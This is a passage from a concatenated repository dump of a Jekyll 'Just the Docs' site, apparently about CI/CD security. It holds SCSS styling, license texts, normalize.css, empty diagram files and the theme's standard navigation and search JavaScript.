#{$size} !important; } .py-#{$media-query}-#{$scale} { padding-top: #{$size} !important; padding-bottom: #{$size} !important; } } } } ================================================ FILE: _sass/utilities/_typography.scss ================================================ // Utility classes for typography .fs-1 { @include fs-1; } .fs-2 { @include fs-2; } .fs-3 { @include fs-3; } .fs-4 { @include fs-4; } .fs-5 { @include fs-5; } .fs-6 { @include fs-6; } .fs-7 { @include fs-7; } .fs-8 { @include fs-8; } .fs-9 { @include fs-9; } .fs-10 { @include fs-10; } .fw-300 { font-weight: 300 !important; } .fw-400 { font-weight: 400 !important; } .fw-500 { font-weight: 500 !important; } .fw-700 { font-weight: 700 !important; } .lh-0 { line-height: 0 !important; } .lh-default { line-height: $body-line-height; } .lh-tight { line-height: $body-heading-line-height; } .ls-5 { letter-spacing: 0.05em !important; } .ls-10 { letter-spacing: 0.1em !important; } .ls-0 { letter-spacing: 0 !important; } .text-uppercase { text-transform: uppercase !important; } ================================================ FILE: _sass/utilities/utilities.scss ================================================ @import "./colors"; @import "./layout"; @import "./typography"; @import "./lists"; @import "./spacing"; ================================================ FILE: _sass/vendor/OneDarkJekyll/LICENSE ================================================ MIT License Copyright (c) 2016 Mihály Gyöngyösi Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: _sass/vendor/OneDarkJekyll/syntax.scss ================================================ // Generated with OneDarkJekyll applied to Atom's One Dark Vivid theme .highlight, pre.highlight { background: #31343f; color: #dee2f7; } .highlight pre { background: #31343f; } .highlight .hll { background: #31343f; } .highlight .c { color: #63677e; font-style: italic; } .highlight .err { color: #960050; background-color: #1e0010; } .highlight .k { color: #e19ef5; } .highlight .l { color: #a3eea0; } .highlight .n { color: #dee2f7; } .highlight .o { color: #dee2f7; } .highlight .p { color: #dee2f7; } .highlight .cm { color: #63677e; font-style: italic; } .highlight .cp { color: #63677e; font-style: italic; } .highlight .c1 { color: #63677e; font-style: italic; } .highlight .cs { color: #63677e; font-style: italic; } .highlight .ge { font-style: italic; } .highlight .gs { font-weight: 700; } .highlight .kc { color: #e19ef5; } .highlight .kd { color: #e19ef5; } .highlight .kn { color: #e19ef5; } .highlight .kp { color: #e19ef5; } .highlight .kr { color: #e19ef5; } .highlight .kt { color: #e19ef5; } .highlight .ld { color: #a3eea0; } .highlight .m { color: #eddc96; } .highlight .s { color: #a3eea0; } .highlight .na { color: #eddc96; } .highlight .nb { color: #fdce68; } .highlight .nc { color: #fdce68; } .highlight .no { color: #fdce68; } .highlight .nd { color: #fdce68; } .highlight .ni { color: #fdce68; } .highlight .ne { color: #fdce68; } .highlight .nf { color: #dee2f7; } .highlight .nl { color: #fdce68; } .highlight .nn { color: #dee2f7; } .highlight .nx { color: #dee2f7; } .highlight .py { color: #fdce68; } .highlight .nt { color: #f9867b; } .highlight .nv { color: #fdce68; } .highlight .ow { font-weight: 700; } .highlight .w { color: #f8f8f2; } .highlight .mf { color: #eddc96; } .highlight .mh { color: #eddc96; } .highlight .mi { color: #eddc96; } .highlight .mo { color: #eddc96; } .highlight .sb { color: #a3eea0; } .highlight .sc { color: #a3eea0; } .highlight .sd { color: #a3eea0; } .highlight .s2 { color: #a3eea0; } .highlight .se { color: #a3eea0; } .highlight .sh { color: #a3eea0; } .highlight .si { color: #a3eea0; } .highlight .sx { color: #a3eea0; } .highlight .sr { color: #7be2f9; } .highlight .s1 { color: #a3eea0; } .highlight .ss { color: #7be2f9; } .highlight .bp { color: #fdce68; } .highlight .vc { color: #fdce68; } .highlight .vg { color: #fdce68; } .highlight .vi { color: #f9867b; } .highlight .il { color: #eddc96; } .highlight .gu { color: #75715e; } .highlight .gd { color: #f92672; } .highlight .gi { color: #a6e22e; } ================================================ FILE: _sass/vendor/OneLightJekyll/LICENSE ================================================ OneLightJekyll relies on two works: OneDarkJekyll, and Atom's One Light theme. This file contains the licensing for all the related software. --- OneLightJekyll (https://github.com/just-the-docs/OneLightJekyll/blob/main/LICENSE) MIT License Copyright (c) 2023 Matthew Wang Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --- OneDarkJekyll (https://github.com/mgyongyosi/OneDarkJekyll/blob/master/LICENSE) MIT License Copyright (c) 2016 Mihály Gyöngyösi Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --- Atom One Light (https://github.com/atom/atom/blob/master/LICENSE.md) Copyright (c) 2011-2022 GitHub Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: _sass/vendor/OneLightJekyll/syntax.scss ================================================ // Generated with OneLightJekyll applied to Atom's One Light theme .highlight, pre.highlight { background: #f9f9f9; color: #383942; } .highlight pre { background: #f9f9f9; } .highlight .hll { background: #f9f9f9; } .highlight .c { color: #9fa0a6; font-style: italic; } .highlight .err { color: #fff; background-color: #e05151; } .highlight .k { color: #a625a4; } .highlight .l { color: #50a04f; } .highlight .n { color: #383942; } .highlight .o { color: #383942; } .highlight .p { color: #383942; } .highlight .cm { color: #9fa0a6; font-style: italic; } .highlight .cp { color: #9fa0a6; font-style: italic; } .highlight .c1 { color: #9fa0a6; font-style: italic; } .highlight .cs { color: #9fa0a6; font-style: italic; } .highlight .ge { font-style: italic; } .highlight .gs { font-weight: 700; } .highlight .kc { color: #a625a4; } .highlight .kd { color: #a625a4; } .highlight .kn { color: #a625a4; } .highlight .kp { color: #a625a4; } .highlight .kr { color: #a625a4; } .highlight .kt { color: #a625a4; } .highlight .ld { color: #50a04f; } .highlight .m { color: #b66a00; } .highlight .s { color: #50a04f; } .highlight .na { color: #b66a00; } .highlight .nb { color: #ca7601; } .highlight .nc { color: #ca7601; } .highlight .no { color: #ca7601; } .highlight .nd { color: #ca7601; } .highlight .ni { color: #ca7601; } .highlight .ne { color: #ca7601; } .highlight .nf { color: #383942; } .highlight .nl { color: #ca7601; } .highlight .nn { color: #383942; } .highlight .nx { color: #383942; } .highlight .py { color: #ca7601; } .highlight .nt { color: #e35549; } .highlight .nv { color: #ca7601; } .highlight .ow { font-weight: 700; } .highlight .w { color: #f8f8f2; } .highlight .mf { color: #b66a00; } .highlight .mh { color: #b66a00; } .highlight .mi { color: #b66a00; } .highlight .mo { color: #b66a00; } .highlight .sb { color: #50a04f; } .highlight .sc { color: #50a04f; } .highlight .sd { color: #50a04f; } .highlight .s2 { color: #50a04f; } .highlight .se { color: #50a04f; } .highlight .sh { color: #50a04f; } .highlight .si { color: #50a04f; } .highlight .sx { color: #50a04f; } .highlight .sr { color: #0083bb; } .highlight .s1 { color: #50a04f; } .highlight .ss { color: #0083bb; } .highlight .bp { color: #ca7601; } .highlight .vc { color: #ca7601; } .highlight .vg { color: #ca7601; } .highlight .vi { color: #e35549; } .highlight .il { color: #b66a00; } .highlight .gu { color: #75715e; } .highlight .gd { color: #e05151; } .highlight .gi { color: #43d089; } .highlight .language-json .w + .s2 { color: #e35549; } .highlight .language-json .kc { color: #0083bb; } ================================================ FILE: _sass/vendor/normalize.scss/README.md ================================================ # normalize.scss Normalize.scss is an SCSS copy of [normalize.css](http://necolas.github.io/normalize.css), a customisable CSS file that makes browsers render all elements more consistently and in line with modern standards. The [normalize.scss fork](https://github.com/guerrero/normalize.scss) of [normalize.css](http://necolas.github.io/normalize.css) was archived in 2014, and has not been updated since v0.1.0. [View the normalize.css test file](http://necolas.github.io/normalize.css/latest/test.html) ================================================ FILE: _sass/vendor/normalize.scss/normalize.scss ================================================ /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ /* Document ========================================================================== */ /** * 1. Correct the line height in all browsers. * 2. Prevent adjustments of font size after orientation changes in iOS. */ html { line-height: 1.15; /* 1 */ -webkit-text-size-adjust: 100%; /* 2 */ } /* Sections ========================================================================== */ /** * Remove the margin in all browsers. */ body { margin: 0; } /** * Render the `main` element consistently in IE. */ main { display: block; } /** * Correct the font size and margin on `h1` elements within `section` and * `article` contexts in Chrome, Firefox, and Safari. */ h1 { font-size: 2em; margin: 0.67em 0; } /* Grouping content ========================================================================== */ /** * 1. Add the correct box sizing in Firefox. * 2. Show the overflow in Edge and IE. */ hr { box-sizing: content-box; /* 1 */ height: 0; /* 1 */ overflow: visible; /* 2 */ } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ pre { font-family: monospace, monospace; /* 1 */ font-size: 1em; /* 2 */ } /* Text-level semantics ========================================================================== */ /** * Remove the gray background on active links in IE 10. */ a { background-color: transparent; } /** * 1. Remove the bottom border in Chrome 57- * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. */ abbr[title] { border-bottom: none; /* 1 */ text-decoration: underline; /* 2 */ text-decoration: underline dotted; /* 2 */ } /** * Add the correct font weight in Chrome, Edge, and Safari. */ b, strong { font-weight: bolder; } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ code, kbd, samp { font-family: monospace, monospace; /* 1 */ font-size: 1em; /* 2 */ } /** * Add the correct font size in all browsers. */ small { font-size: 80%; } /** * Prevent `sub` and `sup` elements from affecting the line height in * all browsers. */ sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sub { bottom: -0.25em; } sup { top: -0.5em; } /* Embedded content ========================================================================== */ /** * Remove the border on images inside links in IE 10. */ img { border-style: none; } /* Forms ========================================================================== */ /** * 1. Change the font styles in all browsers. * 2. Remove the margin in Firefox and Safari. */ button, input, optgroup, select, textarea { font-family: inherit; /* 1 */ font-size: 100%; /* 1 */ line-height: 1.15; /* 1 */ margin: 0; /* 2 */ } /** * Show the overflow in IE. * 1. Show the overflow in Edge. */ button, input { /* 1 */ overflow: visible; } /** * Remove the inheritance of text transform in Edge, Firefox, and IE. * 1. Remove the inheritance of text transform in Firefox. */ button, select { /* 1 */ text-transform: none; } /** * Correct the inability to style clickable types in iOS and Safari. */ button, [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; } /** * Remove the inner border and padding in Firefox. */ button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { border-style: none; padding: 0; } /** * Restore the focus styles unset by the previous rule. */ button:-moz-focusring, [type="button"]:-moz-focusring, [type="reset"]:-moz-focusring, [type="submit"]:-moz-focusring { outline: 1px dotted ButtonText; } /** * Correct the padding in Firefox. */ fieldset { padding: 0.35em 0.75em 0.625em; } /** * 1. Correct the text wrapping in Edge and IE. * 2. Correct the color inheritance from `fieldset` elements in IE. * 3. Remove the padding so developers are not caught out when they zero out * `fieldset` elements in all browsers. */ legend { box-sizing: border-box; /* 1 */ color: inherit; /* 2 */ display: table; /* 1 */ max-width: 100%; /* 1 */ padding: 0; /* 3 */ white-space: normal; /* 1 */ } /** * Add the correct vertical alignment in Chrome, Firefox, and Opera. */ progress { vertical-align: baseline; } /** * Remove the default vertical scrollbar in IE 10+. */ textarea { overflow: auto; } /** * 1. Add the correct box sizing in IE 10. * 2. Remove the padding in IE 10. */ [type="checkbox"], [type="radio"] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } /** * Correct the cursor style of increment and decrement buttons in Chrome. */ [type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { height: auto; } /** * 1. Correct the odd appearance in Chrome and Safari. * 2. Correct the outline style in Safari. */ [type="search"] { -webkit-appearance: textfield; /* 1 */ outline-offset: -2px; /* 2 */ } /** * Remove the inner padding in Chrome and Safari on macOS. */ [type="search"]::-webkit-search-decoration { -webkit-appearance: none; } /** * 1. Correct the inability to style clickable types in iOS and Safari. * 2. Change font properties to `inherit` in Safari. */ ::-webkit-file-upload-button { -webkit-appearance: button; /* 1 */ font: inherit; /* 2 */ } /* Interactive ========================================================================== */ /* * Add the correct display in Edge, IE 10+, and Firefox. */ details { display: block; } /* * Add the correct display in all browsers. */ summary { display: list-item; } /* Misc ========================================================================== */ /** * Add the correct display in IE 10+. */ template { display: none; } /** * Add the correct display in IE 10. */ [hidden] { display: none; } ================================================ FILE: ads.txt ================================================ google.com, pub-4288225696268534, DIRECT, f08c47fec0942fa0 ================================================ FILE: assets/css/just-the-docs-dark.scss ================================================ --- --- {% include css/just-the-docs.scss.liquid color_scheme="dark" %} ================================================ FILE: assets/css/just-the-docs-default.scss ================================================ --- --- {% if site.color_scheme and site.color_scheme != "nil" %} {% assign color_scheme = site.color_scheme %} {% else %} {% assign color_scheme = "light" %} {% endif %} {% include css/just-the-docs.scss.liquid color_scheme=color_scheme %} ================================================ FILE: assets/css/just-the-docs-light.scss ================================================ --- --- {% include css/just-the-docs.scss.liquid color_scheme="light" %} ================================================ FILE: assets/images/arti.drawio.xml ================================================ ================================================ FILE: assets/images/change.drawio.xml ================================================ ================================================ FILE: assets/images/cicd-initial.drawio.xml ================================================ ================================================ FILE: assets/images/cred-key.drawio.xml ================================================ ================================================ FILE: assets/images/cred-serv.drawio.xml ================================================ ================================================ FILE: assets/images/crypto.drawio.xml ================================================ ================================================ FILE: assets/images/dependency.drawio.xml ================================================ ================================================ FILE: assets/images/depi.drawio.xml ================================================ ================================================ FILE: assets/images/dos.drawio.xml ================================================ ================================================ FILE: assets/images/endpoint.drawio.xml ================================================ ================================================ FILE: assets/images/ex-pip.drawio.xml ================================================ ================================================ FILE: assets/images/ex-pro.drawio.xml ================================================ ================================================ FILE: assets/images/github.drawio.xml ================================================ ================================================ FILE: assets/images/localdos.drawio.xml ================================================ ================================================ FILE: assets/images/monitoring.drawio.xml ================================================ ================================================ FILE: assets/images/per-arti.drawio.xml ================================================ ================================================ FILE: assets/images/per-img.drawio.xml ================================================ ================================================ FILE: assets/images/per-reg.drawio.xml ================================================ ================================================ FILE: assets/images/per-service.drawio.xml ================================================ ================================================ FILE: assets/images/ppe.drawio.xml ================================================ ================================================ FILE: assets/images/priv-cert.drawio.xml ================================================ ================================================ FILE: assets/images/priv-key.drawio.xml ================================================ ================================================ FILE: assets/images/priv-pro.drawio.xml ================================================ ================================================ FILE: assets/images/regi.drawio.xml ================================================ ================================================ FILE: assets/images/registry.drawio.xml ================================================ ================================================ FILE: assets/images/res-del.drawio.xml ================================================ ================================================ FILE: assets/images/resources.drawio.xml ================================================ ================================================ FILE: assets/images/scm.drawio.xml ================================================ ================================================ FILE: assets/images/unprotected.drawio.xml ================================================ ================================================ FILE: assets/images/webhook.drawio.xml ================================================ ================================================ FILE: assets/js/just-the-docs.js ================================================ --- --- (function (jtd, undefined) { // Event handling jtd.addEvent = function(el, type, handler) { if (el.attachEvent) el.attachEvent('on'+type, handler); else el.addEventListener(type, handler); } jtd.removeEvent = function(el, type, handler) { if (el.detachEvent) el.detachEvent('on'+type, handler); else el.removeEventListener(type, handler); } jtd.onReady = function(ready) { // in case the document is already rendered if (document.readyState!='loading') ready(); // modern browsers else if (document.addEventListener) document.addEventListener('DOMContentLoaded', ready); // IE <= 8 else document.attachEvent('onreadystatechange', function(){ if (document.readyState=='complete') ready(); }); } // Show/hide mobile menu function initNav() { jtd.addEvent(document, 'click', function(e){ var target = e.target; while (target && !(target.classList && target.classList.contains('nav-list-expander'))) { target = target.parentNode; } if (target) { e.preventDefault(); target.parentNode.classList.toggle('active'); } }); const siteNav = document.getElementById('site-nav'); const mainHeader = document.getElementById('main-header'); const menuButton = document.getElementById('menu-button'); jtd.addEvent(menuButton, 'click', function(e){ e.preventDefault(); if (menuButton.classList.toggle('nav-open')) { siteNav.classList.add('nav-open'); mainHeader.classList.add('nav-open'); } else { siteNav.classList.remove('nav-open'); mainHeader.classList.remove('nav-open'); } }); {%- if site.search_enabled != false and site.search.button %} const searchInput = document.getElementById('search-input'); const searchButton = document.getElementById('search-button'); jtd.addEvent(searchButton, 'click', function(e){ e.preventDefault(); mainHeader.classList.add('nav-open'); searchInput.focus(); }); {%- endif %} } {%- if site.search_enabled != false %} // Site search function initSearch() { var request = new XMLHttpRequest(); request.open('GET', '{{ "assets/js/search-data.json" | relative_url }}', true); request.onload = function(){ if (request.status >= 200 && request.status < 400) { var docs = JSON.parse(request.responseText); lunr.tokenizer.separator = {{ site.search.tokenizer_separator | default: site.search_tokenizer_separator | default: "/[\s\-/]+/" }} var index = lunr(function(){ this.ref('id'); this.field('title', { boost: 200 }); this.field('content', { boost: 2 }); {%- if site.search.rel_url != false %} this.field('relUrl'); {%- endif %} this.metadataWhitelist = ['position'] for (var i in docs) { {% include lunr/custom-index.js %} this.add({ id: i, title: docs[i].title, content: docs[i].content, {%- if site.search.rel_url != false %} relUrl: docs[i].relUrl {%- endif %} }); } }); searchLoaded(index, docs); } else { console.log('Error loading ajax request. Request status:' + request.status); } }; request.onerror = function(){ console.log('There was a connection error'); }; request.send(); } function searchLoaded(index, docs) { var index = index; var docs = docs; var searchInput = document.getElementById('search-input'); var searchResults = document.getElementById('search-results'); var mainHeader = document.getElementById('main-header'); var currentInput; var currentSearchIndex = 0; function showSearch() { document.documentElement.classList.add('search-active'); } function hideSearch() { document.documentElement.classList.remove('search-active'); } function update() { currentSearchIndex++; var input = searchInput.value; if (input === '') { hideSearch(); } else { showSearch(); // scroll search input into view, workaround for iOS Safari window.scroll(0, -1); setTimeout(function(){ window.scroll(0, 0); }, 0); } if (input === currentInput) { return; } currentInput = input; searchResults.innerHTML = ''; if (input === '') { return; } var results = index.query(function (query) { var tokens = lunr.tokenizer(input) query.term(tokens, { boost: 10 }); query.term(tokens, { wildcard: lunr.Query.wildcard.TRAILING }); }); if ((results.length == 0) && (input.length > 2)) { var tokens = lunr.tokenizer(input).filter(function(token, i) { return token.str.length < 20; }) if (tokens.length > 0) { results = index.query(function (query) { query.term(tokens, { editDistance: Math.round(Math.sqrt(input.length / 2 - 1)) }); }); } } if (results.length == 0) { var noResultsDiv = document.createElement('div'); noResultsDiv.classList.add('search-no-result'); noResultsDiv.innerText = 'No results found'; searchResults.appendChild(noResultsDiv); } else { var resultsList = document.createElement('ul'); resultsList.classList.add('search-results-list'); searchResults.appendChild(resultsList); addResults(resultsList, results, 0, 10, 100, currentSearchIndex); } function addResults(resultsList, results, start, batchSize, batchMillis, searchIndex) { if (searchIndex != currentSearchIndex) { return; } for (var i = start; i < (start + batchSize); i++) { if (i == results.length) { return; } addResult(resultsList, results[i]); } setTimeout(function() { addResults(resultsList, results, start + batchSize, batchSize, batchMillis, searchIndex); }, batchMillis); } function addResult(resultsList, result) { var doc = docs[result.ref]; var resultsListItem = document.createElement('li'); resultsListItem.classList.add('search-results-list-item'); resultsList.appendChild(resultsListItem); var resultLink = document.createElement('a'); resultLink.classList.add('search-result'); resultLink.setAttribute('href', doc.url); resultsListItem.appendChild(resultLink); var resultTitle = document.createElement('div'); resultTitle.classList.add('search-result-title'); resultLink.appendChild(resultTitle); // note: the SVG svg-doc is only loaded as a Jekyll include if site.search_enabled is true; see _includes/icons/icons.html var resultDoc = document.createElement('div'); resultDoc.classList.add('search-result-doc'); resultDoc.innerHTML = ''; resultTitle.appendChild(resultDoc); var resultDocTitle = document.createElement('div'); resultDocTitle.classList.add('search-result-doc-title'); resultDocTitle.innerHTML = doc.doc; resultDoc.appendChild(resultDocTitle); var resultDocOrSection = resultDocTitle; if (doc.doc != doc.title) { resultDoc.classList.add('search-result-doc-parent'); var resultSection = document.createElement('div'); resultSection.classList.add('search-result-section'); resultSection.innerHTML = doc.title; resultTitle.appendChild(resultSection); resultDocOrSection = resultSection; } var metadata = result.matchData.metadata; var titlePositions = []; var contentPositions = []; for (var j in metadata) { var meta = metadata[j]; if (meta.title) { var positions = meta.title.position; for (var k in positions) { titlePositions.push(positions[k]); } } if (meta.content) { var positions = meta.content.position; for (var k in positions) { var position = positions[k]; var previewStart = position[0]; var previewEnd = position[0] + position[1]; var ellipsesBefore = true; var ellipsesAfter = true; for (var k = 0; k < {{ site.search.preview_words_before | default: 5 }}; k++) { var nextSpace = doc.content.lastIndexOf(' ', previewStart - 2); var nextDot = doc.content.lastIndexOf('. ', previewStart - 2); if ((nextDot >= 0) && (nextDot > nextSpace)) { previewStart = nextDot + 1; ellipsesBefore = false; break; } if (nextSpace < 0) { previewStart = 0; ellipsesBefore = false; break; } previewStart = nextSpace + 1; } for (var k = 0; k < {{ site.search.preview_words_after | default: 10 }}; k++) { var nextSpace = doc.content.indexOf(' ', previewEnd + 1); var nextDot = doc.content.indexOf('. ', previewEnd + 1); if ((nextDot >= 0) && (nextDot < nextSpace)) { previewEnd = nextDot; ellipsesAfter = false; break; } if (nextSpace < 0) { previewEnd = doc.content.length; ellipsesAfter = false; break; } previewEnd = nextSpace; } contentPositions.push({ highlight: position, previewStart: previewStart, previewEnd: previewEnd, ellipsesBefore: ellipsesBefore, ellipsesAfter: ellipsesAfter }); } } } if (titlePositions.length > 0) { titlePositions.sort(function(p1, p2){ return p1[0] - p2[0] }); resultDocOrSection.innerHTML = ''; addHighlightedText(resultDocOrSection, doc.title, 0, doc.title.length, titlePositions); } if (contentPositions.length > 0) { contentPositions.sort(function(p1, p2){ return p1.highlight[0] - p2.highlight[0] }); var contentPosition = contentPositions[0]; var previewPosition = { highlight: [contentPosition.highlight], previewStart: contentPosition.previewStart, previewEnd: contentPosition.previewEnd, ellipsesBefore: contentPosition.ellipsesBefore, ellipsesAfter: contentPosition.ellipsesAfter }; var previewPositions = [previewPosition]; for (var j = 1; j < contentPositions.length; j++) { contentPosition = contentPositions[j]; if (previewPosition.previewEnd < contentPosition.previewStart) { previewPosition = { highlight: [contentPosition.highlight], previewStart: contentPosition.previewStart, previewEnd: contentPosition.previewEnd, ellipsesBefore: contentPosition.ellipsesBefore, ellipsesAfter: contentPosition.ellipsesAfter } previewPositions.push(previewPosition); } else { previewPosition.highlight.push(contentPosition.highlight); previewPosition.previewEnd = contentPosition.previewEnd; previewPosition.ellipsesAfter = contentPosition.ellipsesAfter; } } var resultPreviews = document.createElement('div'); resultPreviews.classList.add('search-result-previews'); resultLink.appendChild(resultPreviews); var content = doc.content; for (var j = 0; j < Math.min(previewPositions.length, {{ site.search.previews | default: 3 }}); j++) { var position = previewPositions[j]; var resultPreview = document.createElement('div'); resultPreview.classList.add('search-result-preview'); resultPreviews.appendChild(resultPreview); if (position.ellipsesBefore) { resultPreview.appendChild(document.createTextNode('... ')); } addHighlightedText(resultPreview, content, position.previewStart, position.previewEnd, position.highlight); if (position.ellipsesAfter) { resultPreview.appendChild(document.createTextNode(' ...')); } } } {%- if site.search.rel_url != false %} var resultRelUrl = document.createElement('span'); resultRelUrl.classList.add('search-result-rel-url'); resultRelUrl.innerText = doc.relUrl; resultTitle.appendChild(resultRelUrl); {%- endif %} } function addHighlightedText(parent, text, start, end, positions) { var index = start; for (var i in positions) { var position = positions[i]; var span = document.createElement('span'); span.innerHTML = text.substring(index, position[0]); parent.appendChild(span); index = position[0] + position[1]; var highlight = document.createElement('span'); highlight.classList.add('search-result-highlight'); highlight.innerHTML = text.substring(position[0], index); parent.appendChild(highlight); } var span = document.createElement('span'); span.innerHTML = text.substring(index, end); parent.appendChild(span); } } jtd.addEvent(searchInput, 'focus', function(){ setTimeout(update, 0); }); jtd.addEvent(searchInput, 'keyup', function(e){ switch (e.keyCode) { case 27: // When esc key is pressed, hide the results and clear the field searchInput.value = ''; break; case 38: // arrow up case 40: // arrow down case 13: // enter e.preventDefault(); return; } update(); }); jtd.addEvent(searchInput, 'keydown', function(e){ switch (e.keyCode) { case 38: // arrow up e.preventDefault(); var active = document.querySelector('.search-result.active'); if (active) { active.classList.remove('active'); if (active.parentElement.previousSibling) { var previous = active.parentElement.previousSibling.querySelector('.search-result'); previous.classList.add('active'); } } return; case 40: // arrow down e.preventDefault(); var active = document.querySelector('.search-result.active'); if (active) { if (active.parentElement.nextSibling) { var next = active.parentElement.nextSibling.querySelector('.search-result'); active.classList.remove('active'); next.classList.add('active'); } } else { var next = document.querySelector('.search-result'); if (next) { next.classList.add('active'); } } return; case 13: // enter e.preventDefault(); var active = document.querySelector('.search-result.active'); if (active) { active.click(); } else { var first = document.querySelector('.search-result'); if (first) { first.click(); } } return; } }); jtd.addEvent(document, 'click', function(e){ if (e.target != searchInput) { hideSearch(); } }); } {%- endif %} // Switch theme jtd.getTheme = function() { var cssFileHref = document.querySelector('[rel="stylesheet"]').getAttribute('href'); return cssFileHref.substring(cssFileHref.lastIndexOf('-') + 1, cssFileHref.length - 4); } jtd.setTheme = function(theme) { var cssFile = document.querySelector('[rel="stylesheet"]'); cssFile.setAttribute('href', '{{ "assets/css/just-the-docs-" | relative_url }}' + theme + '.css'); } // Scroll site-nav to ensure the link to the current page is visible function scrollNav() { const href = document.location.pathname; const siteNav = document.getElementById('site-nav'); const targetLink = siteNav.querySelector('a[href="' + href + '"], a[href="' + href + '/"]'); if(targetLink){ const rect = targetLink.getBoundingClientRect(); siteNav.scrollBy(0, rect.top - 3*rect.height); } } // Document ready jtd.onReady(function(){ initNav(); {%- if site.search_enabled != false %} initSearch(); {%- endif %} scrollNav(); }); // Copy button on code {%- if site.enable_copy_code_button != false %} jtd.onReady(function(){ if (!window.isSecureContext) { console.log('Window does not have a secure context, therefore code clipboard copy functionality will not be available. For more details see https://web.dev/async-clipboard/#security-and-permissions'); return; } var codeBlocks = document.querySelectorAll('div.highlighter-rouge, div.listingblock > div.content, figure.highlight'); // note: the SVG svg-copied and svg-copy is only loaded as a Jekyll include if site.enable_copy_code_button is true; see _includes/icons/icons.html var svgCopied = ''; var svgCopy = ''; codeBlocks.forEach(codeBlock => { var copyButton = document.createElement('button'); var timeout = null; copyButton.type = 'button'; copyButton.ariaLabel = 'Copy code to clipboard'; copyButton.innerHTML = svgCopy; codeBlock.append(copyButton); copyButton.addEventListener('click', function () { if(timeout === null) { var code = (codeBlock.querySelector('pre:not(.lineno, .highlight)') || codeBlock.querySelector('code')).innerText; window.navigator.clipboard.writeText(code); copyButton.innerHTML = svgCopied; var timeoutSetting = 4000; timeout = setTimeout(function () { copyButton.innerHTML = svgCopy; timeout = null; }, timeoutSetting); } }); }); }); {%- endif %} })(window.jtd = window.jtd || {}); {% include js/custom.js %} ================================================ FILE: assets/js/zzzz-search-data.json ================================================ --- permalink: /assets/js/search-data.json --- { {%- assign i = 0 -%} {%- assign pages_array = "" | split: "" -%} {%- assign pages_array = pages_array | push: site.html_pages -%} {%- if site.just_the_docs.collections -%} {%- for collection_entry in site.just_the_docs.collections -%} {%- assign collection_key = collection_entry[0] -%} {%- assign collection_value = 